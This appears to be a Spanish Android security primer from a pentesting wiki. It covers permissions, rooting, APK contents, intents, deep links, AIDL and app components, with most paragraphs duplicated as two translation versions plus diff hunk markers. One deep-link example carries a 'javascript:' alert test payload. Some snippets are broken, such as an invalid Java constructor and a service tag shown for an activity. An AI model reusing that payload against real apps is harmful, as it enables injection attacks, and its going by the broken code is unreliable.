La **Sandbox de Aplicaciones Android** permite ejecutar **cada aplicación** como un **proceso separado bajo un ID de usuario separado**. Cada proceso tiene su propia máquina virtual, por lo que el código de una aplicación se ejecuta de forma aislada de otras aplicaciones.\
A partir de Android 5.0(L) se aplica **SELinux**. Básicamente, SELinux deniega todas las interacciones entre procesos y luego crea políticas para **permitir solo las interacciones esperadas entre ellos**.
El **Sandbox de Aplicaciones Android** permite ejecutar **cada aplicación** como un **proceso separado bajo un ID de usuario separado**. Cada proceso tiene su propia máquina virtual, por lo que el código de una aplicación se ejecuta en aislamiento de otras aplicaciones.\
Desde Android 5.0(L), se aplica **SELinux**. Básicamente, SELinux deniega todas las interacciones de procesos y luego crea políticas para **permitir solo las interacciones esperadas entre ellos**.
### Permisos
Cuando instalas una **aplicación y solicita permisos**, la aplicación está pidiendo los permisos configurados en los elementos **`uses-permission`** en el archivo **AndroidManifest.xml**. El elemento **uses-permission** indica el nombre del permiso solicitado dentro del **atributo de nombre**. También tiene el atributo **maxSdkVersion** que deja de solicitar permisos en versiones superiores a la especificada.\
Ten en cuenta que las aplicaciones de Android no necesitan solicitar todos los permisos al principio, también pueden **solicitar permisos dinámicamente** pero todos los permisos deben ser **declarados** en el **manifiesto**.
Cuando instalas una **aplicación y solicita permisos**, la aplicación está pidiendo los permisos configurados en los elementos **`uses-permission`** en el archivo **AndroidManifest.xml**. El elemento **uses-permission** indica el nombre del permiso solicitado dentro del **atributo name**. También tiene el atributo **maxSdkVersion** que detiene la solicitud de permisos en versiones superiores a la especificada.\
Ten en cuenta que las aplicaciones de Android no necesitan pedir todos los permisos al principio, también pueden **pedir permisos dinámicamente**, pero todos los permisos deben ser **declarados** en el **manifiesto**.
Cuando una aplicación expone funcionalidades puede limitar el **acceso solo a aplicaciones que tengan un permiso específico**.\
Cuando una aplicación expone funcionalidad, puede limitar el **acceso solo a aplicaciones que tengan un permiso específico**.\
Un elemento de permiso tiene tres atributos:
* El **nombre** del permiso
* El atributo **permission-group**, que permite agrupar permisos relacionados.
* El **nivel de protección** que indica cómo se otorgan los permisos. Hay cuatro tipos:
* **Normal**: Se utiliza cuando no hay **amenazas conocidas** para la aplicación. No se requiere que el usuario lo apruebe.
* **Peligroso**: Indica que el permiso otorga a la aplicación solicitante cierto **acceso elevado**. **Se solicita a los usuarios que los aprueben**.
* **Firma**: Solo **las aplicaciones firmadas por el mismo certificado que la que** exporta el componente pueden recibir permiso. Este es el tipo de protección más fuerte.
* **FirmaOSystema**: Solo **las aplicaciones firmadas por el mismo certificado que la que** exporta el componente o **las aplicaciones que se ejecutan con acceso a nivel de sistema** pueden recibir permisos.
* **Normal**: Se utiliza cuando **no hay amenazas conocidas** para la aplicación. No se **requiere la aprobación del usuario**.
* **Peligroso**: Indica que el permiso otorga a la aplicación solicitante algún **acceso elevado**. **Se solicita la aprobación de los usuarios**.
* **Firma**: Solo **las aplicaciones firmadas por el mismo certificado que el que** exporta el componente pueden recibir permiso. Este es el tipo de protección más fuerte.
* **FirmaOSistema**: Solo **las aplicaciones firmadas por el mismo certificado que el que** exporta el componente o **las aplicaciones que se ejecutan con acceso a nivel de sistema** pueden recibir permisos.
## Aplicaciones Preinstaladas
Estas aplicaciones generalmente se encuentran en los directorios **`/system/app`** o **`/system/priv-app`** y algunas de ellas están **optimizadas** (es posible que ni siquiera encuentres el archivo `classes.dex`). Vale la pena verificar estas aplicaciones porque a veces están **ejecutándose con demasiados permisos** (como root).
Estas aplicaciones generalmente se encuentran en los directorios **`/system/app`** o **`/system/priv-app`** y algunas de ellas están **optimizadas** (puede que ni siquiera encuentres el archivo `classes.dex`). Estas aplicaciones valen la pena revisarlas porque a veces están **ejecutándose con demasiados permisos** (como root).
* Las que se envían con el **ROM** de **AOSP** (Proyecto de Código Abierto de Android)
* Las que se envían con el **AOSP** (Android OpenSource Project) **ROM**
* Agregadas por el **fabricante** del dispositivo
* Agregadas por el **proveedor** de telefonía celular (si se compró a través de ellos)
* Agregadas por el **proveedor de telefonía móvil** (si se compró a ellos)
## Rooting
Para obtener acceso root en un dispositivo Android físico generalmente necesitas **explotar** 1 o 2 **vulnerabilidades** que suelen ser **específicas** para el **dispositivo** y la **versión**.\
Una vez que la explotación ha funcionado, generalmente se copia el binario `su` de Linux en una ubicación especificada en la variable de entorno PATH del usuario como `/system/xbin`.
Para obtener acceso root en un dispositivo Android físico, generalmente necesitas **explotar** 1 o 2 **vulnerabilidades** que suelen ser **específicas** para el **dispositivo** y **versión**.\
Una vez que la explotación ha funcionado, generalmente se copia el binario de Linux `su` en una ubicación especificada en la variable de entorno PATH del usuario, como `/system/xbin`.
Una vez configurado el binario su, se utiliza otra aplicación de Android para interactuar con el binario `su` y **procesar solicitudes de acceso root** como **Superuser** y **SuperSU** (disponibles en Google Play Store).
Una vez que el binario de su está configurado, se utiliza otra aplicación de Android para interactuar con el binario `su` y **procesar solicitudes de acceso root** como **Superuser** y **SuperSU** (disponible en Google Play Store).
{% hint style="danger" %}
Ten en cuenta que el proceso de rooting es muy peligroso y puede dañar gravemente el dispositivo
Ten en cuenta que el proceso de rooting es muy peligroso y puede dañar severamente el dispositivo.
{% endhint %}
### ROMs
Es posible **reemplazar el SO instalando un firmware personalizado**. Haciendo esto es posible extender la utilidad de un dispositivo antiguo, evadir restricciones de software o acceder al código más reciente de Android.\
Es posible **reemplazar el SO instalando un firmware personalizado**. Haciendo esto, es posible extender la utilidad de un dispositivo antiguo, eludir restricciones de software o acceder al último código de Android.\
**OmniROM** y **LineageOS** son dos de los firmwares más populares para usar.
Ten en cuenta que **no siempre es necesario rootear el dispositivo** para instalar un firmware personalizado. **Algunos fabricantes permiten** el desbloqueo de sus cargadores de arranque de manera documentada y segura.
Ten en cuenta que **no siempre es necesario rootear el dispositivo** para instalar un firmware personalizado. **Algunos fabricantes permiten** el desbloqueo de sus bootloaders de manera bien documentada y segura.
### Implicaciones
Una vez que un dispositivo está rooteado, cualquier aplicación podría solicitar acceso como root. Si una aplicación maliciosa lo consigue, podrá acceder a casi todo y podrá dañar el teléfono.
Una vez que un dispositivo está rooteado, cualquier aplicación podría solicitar acceso como root. Si una aplicación maliciosa lo obtiene, tendrá acceso a casi todo y podrá dañar el teléfono.
## Fundamentos de Aplicaciones Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- El formato de las aplicaciones Android se conoce como _formato de archivo APK_. Esencialmente es un **archivo ZIP** (al cambiar la extensión del archivo a .zip, se pueden extraer y ver los contenidos).
- El formato de las aplicaciones Android se conoce como _formato de archivo APK_. Es esencialmente un **archivo ZIP** (cambiando la extensión del archivo a .zip, se pueden extraer y ver los contenidos).
- Contenidos de APK (No exhaustivo)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: contiene recursos precompilados, como XML binario.
- res/xml/files\_paths.xml
- META-INF/
- ¡Aquí se encuentra el Certificado!
- ¡Aquí es donde se encuentra el Certificado!
- **classes.dex**
- Contiene el bytecode de Dalvik, que representa el código Java (o Kotlin) compilado que la aplicación ejecuta de forma predeterminada.
- Contiene bytecode Dalvik, que representa el código Java (o Kotlin) compilado que la aplicación ejecuta por defecto.
- lib/
- Contiene bibliotecas nativas, segregadas por arquitectura de CPU en subdirectorios.
- Alberga bibliotecas nativas, segregadas por arquitectura de CPU en subdirectorios.
- `armeabi`: código para procesadores basados en ARM
- `armeabi-v7a`: código para procesadores basados en ARMv7 y superiores
- `armeabi-v7a`: código para procesadores ARMv7 y superiores
- `x86`: código para procesadores X86
- `mips`: código solo para procesadores MIPS
- assets/
- Almacena archivos diversos necesarios para la aplicación, potencialmente incluyendo bibliotecas nativas adicionales o archivos DEX, a veces utilizados por autores de malware para ocultar código adicional.
- Almacena archivos diversos necesarios para la aplicación, que pueden incluir bibliotecas nativas adicionales o archivos DEX, a veces utilizados por autores de malware para ocultar código adicional.
- res/
- Contiene recursos que no se compilan en resources.arsc
### **Dalvik & Smali**
- Contiene recursos que no están compilados en resources.arsc
En el desarrollo de Android, se utiliza **Java o Kotlin** para crear aplicaciones. En lugar de utilizar el JVM como en las aplicaciones de escritorio, Android compila este código en **código de bytes ejecutable de Dalvik (DEX)**. Anteriormente, la máquina virtual Dalvik manejaba este código de bytes, pero ahora, en las versiones más recientes de Android, el Android Runtime (ART) se encarga de ello.
### **Dalvik y Smali**
Para ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible por humanos del código DEX, actuando como lenguaje ensamblador al traducir el código fuente en instrucciones de bytes. Smali y baksmali se refieren a las herramientas de ensamblaje y desensamblaje en este contexto.
En el desarrollo de Android, se utiliza **Java o Kotlin** para crear aplicaciones. En lugar de usar la JVM como en las aplicaciones de escritorio, Android compila este código en **bytecode ejecutable Dalvik (DEX)**. Anteriormente, la máquina virtual Dalvik manejaba este bytecode, pero ahora, el Android Runtime (ART) se encarga en las versiones más nuevas de Android.
## Intents
Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible por humanos del bytecode DEX, actuando como un lenguaje ensamblador al traducir el código fuente en instrucciones de bytecode. Smali y baksmali se refieren a las herramientas de ensamblaje y desensamblaje en este contexto.
Los Intents son el principal medio por el cual las aplicaciones de Android se comunican entre sus componentes o con otras aplicaciones. Estos objetos de mensaje también pueden transportar datos entre aplicaciones o componentes, de manera similar a cómo se utilizan las solicitudes GET/POST en las comunicaciones HTTP.
## Intenciones
Entonces, un Intent es básicamente un **mensaje que se pasa entre componentes**. Los Intents **pueden ser dirigidos** a componentes o aplicaciones específicas, **o pueden ser enviados sin un destinatario específico**.\
Para simplificar, un Intent se puede utilizar para:
Las intenciones son el medio principal por el cual las aplicaciones Android se comunican entre sus componentes o con otras aplicaciones. Estos objetos de mensaje también pueden transportar datos entre aplicaciones o componentes, similar a cómo se utilizan las solicitudes GET/POST en las comunicaciones HTTP.
* Iniciar una Actividad, típicamente abriendo una interfaz de usuario para una aplicación
* Como difusiones para informar al sistema y a las aplicaciones de cambios
Así que una Intención es básicamente un **mensaje que se pasa entre componentes**. Las Intenciones **pueden ser dirigidas** a componentes o aplicaciones específicas, **o pueden enviarse sin un destinatario específico**.\
Para ser simple, la Intención se puede usar:
* Para iniciar una Actividad, típicamente abriendo una interfaz de usuario para una aplicación
* Como transmisiones para informar al sistema y a las aplicaciones sobre cambios
* Para iniciar, detener y comunicarse con un servicio en segundo plano
* Para acceder a datos a través de ContentProviders
* Como devoluciones de llamada para manejar eventos
* Como callbacks para manejar eventos
Si son vulnerables, los **Intents pueden ser utilizados para llevar a cabo una variedad de ataques**.
Si es vulnerable, **las Intenciones pueden ser utilizadas para realizar una variedad de ataques**.
### Filtro de Intents
### Filtro de Intención
Los **Filtros de Intents** definen **cómo una actividad, servicio o receptor de difusiones puede interactuar con diferentes tipos de Intents**. Básicamente, describen las capacidades de estos componentes, como las acciones que pueden realizar o los tipos de difusiones que pueden procesar. El lugar principal para declarar estos filtros es dentro del archivo **AndroidManifest.xml**, aunque para los receptores de difusiones, también es una opción codificarlos.
**Los Filtros de Intención** definen **cómo una actividad, servicio o Receptor de Transmisión puede interactuar con diferentes tipos de Intenciones**. Esencialmente, describen las capacidades de estos componentes, como qué acciones pueden realizar o los tipos de transmisiones que pueden procesar. El lugar principal para declarar estos filtros es dentro del **archivo AndroidManifest.xml**, aunque para los Receptores de Transmisión, también es una opción codificarlos.
Los Filtros de Intents están compuestos por categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite a los componentes manejar Intents específicos que coincidan con los criterios declarados.
Los Filtros de Intención se componen de categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite que los componentes manejen Intenciones específicas que coincidan con los criterios declarados.
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de difusiones) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exported`** con un valor de **`true`** o si se declara un Filtro de Intent para él en el manifiesto. Sin embargo, los desarrolladores pueden mantener explícitamente privados estos componentes para asegurarse de que no interactúen con otras aplicaciones involuntariamente. Esto se logra configurando el atributo **`exported`** en **`false`** en sus definiciones de manifiesto.
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de transmisión) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exportado`** con un valor de **`true`** o si se declara un Filtro de Intención para él en el manifiesto. Sin embargo, hay una manera para que los desarrolladores mantengan explícitamente estos componentes privados, asegurando que no interactúen con otras aplicaciones de manera no intencionada. Esto se logra configurando el atributo **`exported`** a **`false`** en sus definiciones de manifiesto.
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** se puede establecer para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, agregando una capa adicional de seguridad y control sobre quién puede interactuar con él.
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** puede configurarse para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, añadiendo una capa adicional de seguridad y control sobre quién puede interactuar con él.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
```
### Intenciones implícitas
### Intenciones Implícitas
Las intenciones se crean programáticamente utilizando un constructor de Intenciones:
Las intenciones se crean programáticamente utilizando un constructor de Intención:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
La **Acción** del intent previamente declarado es **ACTION\_SEND** y el **Extra** es un **Uri** de tipo mailto (el Extra es la información adicional que el intent espera).
La **Acción** de la intención declarada previamente es **ACTION\_SEND** y el **Extra** es un mailto **Uri** (el Extra es la información adicional que la intención está esperando).
Este intent debe ser declarado dentro del manifiesto como en el siguiente ejemplo:
Esta intención debe ser declarada dentro del manifiesto como en el siguiente ejemplo:
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -165,48 +167,47 @@ Este intent debe ser declarado dentro del manifiesto como en el siguiente ejempl
```
Un intent-filter necesita coincidir con la **acción**, **datos** y **categoría** para recibir un mensaje.
El proceso de "resolución de intenciones" determina qué aplicación debe recibir cada mensaje. Este proceso considera el atributo de **prioridad**, que se puede establecer en la **declaración del intent-filter**, y **se seleccionará el que tenga la prioridad más alta**. Esta prioridad se puede establecer entre -1000 y 1000 y las aplicaciones pueden usar el valor `SYSTEM_HIGH_PRIORITY`. Si surge un **conflicto**, aparece una ventana de "selector" para que el **usuario pueda decidir**.
El proceso de "resolución de Intent" determina qué aplicación debe recibir cada mensaje. Este proceso considera el **atributo de prioridad**, que se puede establecer en la **declaración del intent-filter**, y **el que tenga la mayor prioridad será seleccionado**. Esta prioridad se puede establecer entre -1000 y 1000 y las aplicaciones pueden usar el valor `SYSTEM_HIGH_PRIORITY`. Si surge un **conflicto**, aparece una ventana de "elección" para que el **usuario pueda decidir**.
### Intenciones Explícitas
### Intents Explícitos
Una intención explícita especifica el nombre de la clase a la que apunta:
Un intent explícito especifica el nombre de la clase a la que está dirigido:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
En otras aplicaciones, para acceder al intent previamente declarado, puedes usar:
En otras aplicaciones, para acceder a la intención previamente declarada, puedes usar:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
```
### Intenciones Pendientes
### Pending Intents
Estas permiten que otras aplicaciones **realicen acciones en nombre de tu aplicación**, utilizando la identidad y permisos de tu aplicación. Al construir una Intención Pendiente, se debe **especificar una intención y la acción a realizar**. Si la **intención declarada no es explícita** (no declara qué intención puede llamarla), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la aplicación víctima. Además, **si no se especifica una acción**, la aplicación maliciosa podrá realizar **cualquier acción en nombre de la víctima**.
Estos permiten que otras aplicaciones **realicen acciones en nombre de su aplicación**, utilizando la identidad y los permisos de su app. Al construir un Pending Intent, se debe **especificar un intent y la acción a realizar**. Si el **intent declarado no es explícito** (no declara qué intent puede llamarlo), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la app víctima. Además, **si no se especifica una acción**, la app maliciosa podrá realizar **cualquier acción en nombre de la víctima**.
### Intenciones de Difusión
### Broadcast Intents
A diferencia de las intenciones anteriores, que solo son recibidas por una aplicación, las intenciones de difusión **pueden ser recibidas por múltiples aplicaciones**. Sin embargo, a partir de la versión 14 de la API, es **posible especificar la aplicación que debe recibir** el mensaje utilizando Intent.setPackage.
A diferencia de los intents anteriores, que solo son recibidos por una app, los broadcast intents **pueden ser recibidos por múltiples apps**. Sin embargo, desde la versión de API 14, es **posible especificar la app que debería recibir** el mensaje usando Intent.setPackage.
Alternativamente, también es posible **especificar un permiso al enviar la difusión**. La aplicación receptora necesitará tener ese permiso.
Alternativamente, también es posible **especificar un permiso al enviar el broadcast**. La app receptora necesitará tener ese permiso.
Existen **dos tipos** de Difusiones: **Normales** (asincrónicas) y **Ordenadas** (sincrónicas). El **orden** se basa en la **prioridad configurada dentro del receptor**. **Cada aplicación puede procesar, retransmitir o descartar la Difusión**.
Hay **dos tipos** de Broadcasts: **Normal** (asíncrono) y **Ordenado** (síncrono). El **orden** se basa en la **prioridad configurada dentro del elemento receptor**. **Cada app puede procesar, retransmitir o descartar el Broadcast.**
Es posible **enviar** una **difusión** utilizando la función `sendBroadcast(intent, receiverPermission)` de la clase `Context`.\
También se puede utilizar la función **`sendBroadcast`** del **`LocalBroadCastManager`** para asegurar que el **mensaje nunca abandone la aplicación**. Al hacer esto, ni siquiera necesitarás exportar un componente receptor.
Es posible **enviar** un **broadcast** usando la función `sendBroadcast(intent, receiverPermission)` de la clase `Context`.\ También podría usar la función **`sendBroadcast`** de **`LocalBroadCastManager`** que asegura que el **mensaje nunca salga de la app**. Usando esto, ni siquiera necesitará exportar un componente receptor.
### Difusiones Pegajosas
### Sticky Broadcasts
Este tipo de Difusiones **pueden ser accedidas mucho tiempo después de ser enviadas**.\
Estas fueron obsoletas en el nivel de API 21 y se recomienda **no utilizarlas**.\
**Permiten que cualquier aplicación husmee los datos, pero también los modifique**.
Este tipo de Broadcasts **pueden ser accedidos mucho después de haber sido enviados**.\
Estos fueron desaprobados en el nivel de API 21 y se recomienda **no usarlos**.\
**Permiten que cualquier aplicación intercepte los datos, pero también los modifique.**
Si encuentras funciones que contienen la palabra "pegajoso" como **`sendStickyBroadcast`** o **`sendStickyBroadcastAsUser`**, **verifica el impacto e intenta eliminarlas**.
Si encuentra funciones que contengan la palabra "sticky" como **`sendStickyBroadcast`** o **`sendStickyBroadcastAsUser`**, **verifique el impacto y trate de eliminarlas**.
## Enlaces Profundos / Esquemas de URL
## Deep links / URL schemes
En las aplicaciones de Android, los **enlaces profundos** se utilizan para iniciar una acción (Intención) directamente a través de una URL. Esto se hace declarando un **esquema de URL** específico dentro de una actividad. Cuando un dispositivo Android intenta **acceder a una URL con este esquema**, se inicia la actividad especificada dentro de la aplicación.
En las aplicaciones de Android, **deep links** se utilizan para iniciar una acción (Intent) directamente a través de una URL. Esto se hace declarando un **esquema de URL** específico dentro de una actividad. Cuando un dispositivo Android intenta **acceder a una URL con este esquema**, se lanza la actividad especificada dentro de la aplicación.
El esquema debe ser declarado en el archivo **`AndroidManifest.xml`**:
El esquema debe ser declarado en el **`AndroidManifest.xml`**:
```xml
[...]
<activity android:name=".MyActivity">
@ -218,7 +219,7 @@ El esquema debe ser declarado en el archivo **`AndroidManifest.xml`**:
</intent-filter>
[...]
```
El esquema del ejemplo anterior es `exampleapp://` (nota también la **`categoría BROWSABLE`**)
El esquema del ejemplo anterior es `exampleapp://` (nota también el **`category BROWSABLE`**)
Luego, en el campo de datos, puedes especificar el **host** y **path**:
```xml
@ -226,36 +227,36 @@ Luego, en el campo de datos, puedes especificar el **host** y **path**:
android:host="example"
/>
```
Para acceder desde la web es posible establecer un enlace como:
Para acceder a ello desde la web, es posible establecer un enlace como:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
Para encontrar el **código que se ejecutará en la aplicación**, ve a la actividad llamada por el enlace profundo y busca la función **`onNewIntent`**.
Para encontrar el **código que se ejecutará en la App**, ve a la actividad llamada por el deeplink y busca la función **`onNewIntent`**.
Aprende cómo [llamar a enlaces profundos sin usar páginas HTML](./#exploiting-schemes-deep-links).
Aprende a [llamar enlaces profundos sin usar páginas HTML](./#exploiting-schemes-deep-links).
## AIDL - Lenguaje de Definición de Interfaz de Android
## AIDL - Lenguaje de Definición de Interfaces de Android
El **Lenguaje de Definición de Interfaz de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de la **comunicación entre procesos** (IPC). Dado que en Android no está permitido acceder directamente a la memoria de otro proceso, AIDL simplifica el proceso al convertir objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
### Conceptos Clave
- **Servicios Vinculados**: Estos servicios utilizan AIDL para IPC, permitiendo que actividades o componentes se vinculen a un servicio, realicen solicitudes y reciban respuestas. El método `onBind` en la clase del servicio es crítico para iniciar la interacción, por lo que es un área vital para la revisión de seguridad en busca de vulnerabilidades.
- **Servicios Vinculados**: Estos servicios utilizan AIDL para IPC, permitiendo que actividades o componentes se vinculen a un servicio, realicen solicitudes y reciban respuestas. El método `onBind` en la clase del servicio es crítico para iniciar la interacción, marcándolo como un área vital para la revisión de seguridad en busca de vulnerabilidades.
- **Messenger**: Funcionando como un servicio vinculado, Messenger facilita el IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método detenidamente en busca de un manejo inseguro de datos o la ejecución de funciones sensibles.
- **Messenger**: Operando como un servicio vinculado, Messenger facilita IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método de cerca en busca de cualquier manejo de datos inseguro o ejecución de funciones sensibles.
- **Binder**: Aunque el uso directo de la clase Binder es menos común debido a la abstracción de AIDL, es beneficioso entender que Binder actúa como un controlador a nivel de kernel que facilita la transferencia de datos entre los espacios de memoria de diferentes procesos. Para una mayor comprensión, hay un recurso disponible en [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
- **Binder**: Aunque el uso directo de la clase Binder es menos común debido a la abstracción de AIDL, es beneficioso entender que Binder actúa como un controlador a nivel de núcleo que facilita la transferencia de datos entre los espacios de memoria de diferentes procesos. Para una comprensión más profunda, hay un recurso disponible en [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Componentes
Estos incluyen: **Actividades, Servicios, Receptores de Difusión y Proveedores.**
### Actividad de Inicio y otras actividades
### Actividad de Lanzamiento y otras actividades
En las aplicaciones de Android, las **actividades** son como pantallas que muestran diferentes partes de la interfaz de usuario de la aplicación. Una aplicación puede tener muchas actividades, cada una presentando una pantalla única al usuario.
En las aplicaciones de Android, **las actividades** son como pantallas, mostrando diferentes partes de la interfaz de usuario de la app. Una app puede tener muchas actividades, cada una presentando una pantalla única al usuario.
La **actividad de inicio** es la puerta de entrada principal a una aplicación, se inicia cuando se toca el icono de la aplicación. Se define en el archivo de manifiesto de la aplicación con intenciones MAIN y LAUNCHER específicas:
La **actividad de lanzamiento** es la puerta principal a una app, lanzada cuando tocas el ícono de la app. Se define en el archivo de manifiesto de la app con intenciones específicas MAIN y LAUNCHER:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -264,19 +265,19 @@ La **actividad de inicio** es la puerta de entrada principal a una aplicación,
</intent-filter>
</activity>
```
No todos los apps necesitan una actividad de lanzamiento, especialmente aquellos sin una interfaz de usuario, como los servicios en segundo plano.
No todas las aplicaciones necesitan una actividad de lanzamiento, especialmente aquellas sin una interfaz de usuario, como los servicios en segundo plano.
Las actividades pueden estar disponibles para otras apps o procesos marcándolas como "exportadas" en el manifiesto. Esta configuración permite que otras apps inicien esta actividad:
Las actividades pueden estar disponibles para otras aplicaciones o procesos marcándolas como "exportadas" en el manifiesto. Esta configuración permite que otras aplicaciones inicien esta actividad:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Sin embargo, acceder a una actividad desde otra aplicación no siempre es un riesgo de seguridad. La preocupación surge si se comparten datos sensibles de manera inadecuada, lo que podría llevar a fugas de información.
Sin embargo, acceder a una actividad de otra aplicación no siempre representa un riesgo de seguridad. La preocupación surge si se comparten datos sensibles de manera inapropiada, lo que podría llevar a filtraciones de información.
El ciclo de vida de una actividad **comienza con el método onCreate**, configurando la interfaz de usuario y preparando la actividad para la interacción con el usuario.
### Subclase de Aplicación
En el desarrollo de Android, una aplicación tiene la opción de crear una **subclase** de la [clase Application](https://developer.android.com/reference/android/app/Application), aunque no es obligatorio. Cuando se define dicha subclase, se convierte en la primera clase que se instancia dentro de la aplicación. El método **`attachBaseContext`**, si se implementa en esta subclase, se ejecuta antes del método **`onCreate`**. Esta configuración permite una inicialización temprana antes de que el resto de la aplicación comience.
En el desarrollo de Android, una aplicación tiene la opción de crear una **subclase** de la clase [Application](https://developer.android.com/reference/android/app/Application), aunque no es obligatorio. Cuando se define tal subclase, se convierte en la primera clase en ser instanciada dentro de la aplicación. El método **`attachBaseContext`**, si se implementa en esta subclase, se ejecuta antes del método **`onCreate`**. Esta configuración permite una inicialización temprana antes de que comience el resto de la aplicación.
```java
public class MyApp extends Application {
@Override
@ -294,33 +295,33 @@ super.onCreate();
```
### Servicios
[Los servicios](https://developer.android.com/guide/components/services) son **operativos en segundo plano** capaces de ejecutar tareas sin una interfaz de usuario. Estas tareas pueden seguir ejecutándose incluso cuando los usuarios cambian a diferentes aplicaciones, lo que hace que los servicios sean cruciales para **operaciones de larga duración**.
[Servicios](https://developer.android.com/guide/components/services) son **operativos en segundo plano** capaces de ejecutar tareas sin una interfaz de usuario. Estas tareas pueden continuar ejecutándose incluso cuando los usuarios cambian a diferentes aplicaciones, lo que hace que los servicios sean cruciales para **operaciones de larga duración**.
Los servicios son versátiles; pueden iniciarse de varias formas, siendo los **Intents** el método principal para lanzarlos como punto de entrada de una aplicación. Una vez que un servicio se inicia utilizando el método `startService`, su método `onStart` entra en acción y sigue ejecutándose hasta que se llama explícitamente al método `stopService`. Alternativamente, si el rol de un servicio depende de una conexión activa con el cliente, se utiliza el método `bindService` para vincular el cliente al servicio, involucrando el método `onBind` para el paso de datos.
Los servicios son versátiles; pueden iniciarse de varias maneras, siendo **Intents** el método principal para lanzarlos como punto de entrada de una aplicación. Una vez que un servicio se inicia utilizando el método `startService`, su método `onStart` entra en acción y sigue ejecutándose hasta que se llama explícitamente al método `stopService`. Alternativamente, si el papel de un servicio depende de una conexión de cliente activa, se utiliza el método `bindService` para vincular al cliente con el servicio, activando el método `onBind` para el paso de datos.
Una aplicación interesante de los servicios incluye la reproducción de música en segundo plano o la obtención de datos de red sin obstaculizar la interacción del usuario con una aplicación. Además, los servicios pueden ser accesibles para otros procesos en el mismo dispositivo a través de la **exportación**. Este no es el comportamiento predeterminado y requiere una configuración explícita en el archivo Android Manifest:
Una aplicación interesante de los servicios incluye la reproducción de música en segundo plano o la obtención de datos de red sin obstaculizar la interacción del usuario con una aplicación. Además, los servicios pueden hacerse accesibles a otros procesos en el mismo dispositivo a través de **exportación**. Este no es el comportamiento predeterminado y requiere una configuración explícita en el archivo Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Receptores de difusión
### Broadcast Receivers
Los **receptores de difusión** actúan como oyentes en un sistema de mensajería, permitiendo que múltiples aplicaciones respondan a los mismos mensajes del sistema. Una aplicación puede **registrar un receptor** de **dos formas principales**: a través del **Manifiesto** de la aplicación o **dinámicamente** dentro del código de la aplicación mediante la API **`registerReceiver`**. En el Manifiesto, las difusiones se filtran con permisos, mientras que los receptores registrados dinámicamente también pueden especificar permisos al registrarse.
**Broadcast receivers** actúan como oyentes en un sistema de mensajería, permitiendo que múltiples aplicaciones respondan a los mismos mensajes del sistema. Una aplicación puede **registrar un receptor** de **dos maneras principales**: a través del **Manifest** de la aplicación o **dinámicamente** dentro del código de la aplicación mediante la API **`registerReceiver`**. En el Manifest, las transmisiones se filtran con permisos, mientras que los receptores registrados dinámicamente también pueden especificar permisos al registrarse.
Los **filtros de intención** son cruciales en ambos métodos de registro, determinando qué difusiones activan el receptor. Una vez que se envía una difusión coincidente, se invoca el método **`onReceive`** del receptor, lo que permite a la aplicación reaccionar en consecuencia, como ajustar el comportamiento en respuesta a una alerta de batería baja.
Los **filtros de intención** son cruciales en ambos métodos de registro, determinando qué transmisiones activan el receptor. Una vez que se envía una transmisión coincidente, se invoca el método **`onReceive`** del receptor, lo que permite que la aplicación reaccione en consecuencia, como ajustar el comportamiento en respuesta a una alerta de batería baja.
Las difusiones pueden ser **asincrónicas**, llegando a todos los receptores sin orden, o **sincrónicas**, donde los receptores reciben la difusión según las prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier aplicación puede priorizarse a sí misma para interceptar una difusión.
Las transmisiones pueden ser **asíncronas**, alcanzando todos los receptores sin orden, o **sincrónicas**, donde los receptores reciben la transmisión según prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier aplicación puede priorizarse a sí misma para interceptar una transmisión.
